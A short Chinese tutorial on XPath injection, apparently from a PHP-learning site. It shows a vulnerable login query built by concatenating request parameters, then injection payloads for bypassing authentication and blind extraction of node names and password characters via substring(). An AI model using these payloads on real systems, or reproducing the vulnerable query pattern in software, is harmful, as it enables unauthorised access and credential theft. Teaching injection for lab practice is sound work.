来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] xpath是xml路径语言,用于配置文件的查找。数据库就是xml文件。#8203;常见的xpath语句如下:users user firstnameBen/firstname lastnameElmore/lastname logi......
xpath是xml路径语言,用于配置文件的查找。数据库就是xml文件。
常见的xpath语句如下:
<users>
<user>
<firstname>Ben</firstname>
<lastname>Elmore</lastname>
<loginID>abc</loginID>
<password>test123</password>
</user>
<user>
<firstname>Shlomy</firstname>
<lastname>Gantz</lastname>
<loginID>xyz</loginID>
<password>123test</password>
</user>
</users>
//users/user[loginID/text()='"&request("loginID")&"' and password/text()='"&request("password")&"']/firstname/text()
关于xpath的语法可以参考:
http://www.2cto.com/kf/201107/97458.html
语法看懂了,看懂这个语句就很简单了。。。。。。
这个最终会显示firstname的值。。。。
注入语句跟其他注入一样:
数字型: or 1=1
字符型: ' or '1'='1
这里顺带提个小问题,为什么 ' or '1'='1 会显示所有的firstname (如搞不定的,可以回帖或者PM我,,,, )
这是很基本的注入,稍微高级点的:
例如判断父节点的名称,可以尝试:
' or substring(name(parent::*[position()=1]),1,1)='u
如果知道了当前节点名称,可以利用:
' or substring(password/text(),1,1)='1 判断值。。。。。。
====
xpath注入没有其他注入复杂,但也是一个趋势。。。。。。
另建议大家实际搭建环境模拟攻击,就很了解这个注入手法
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com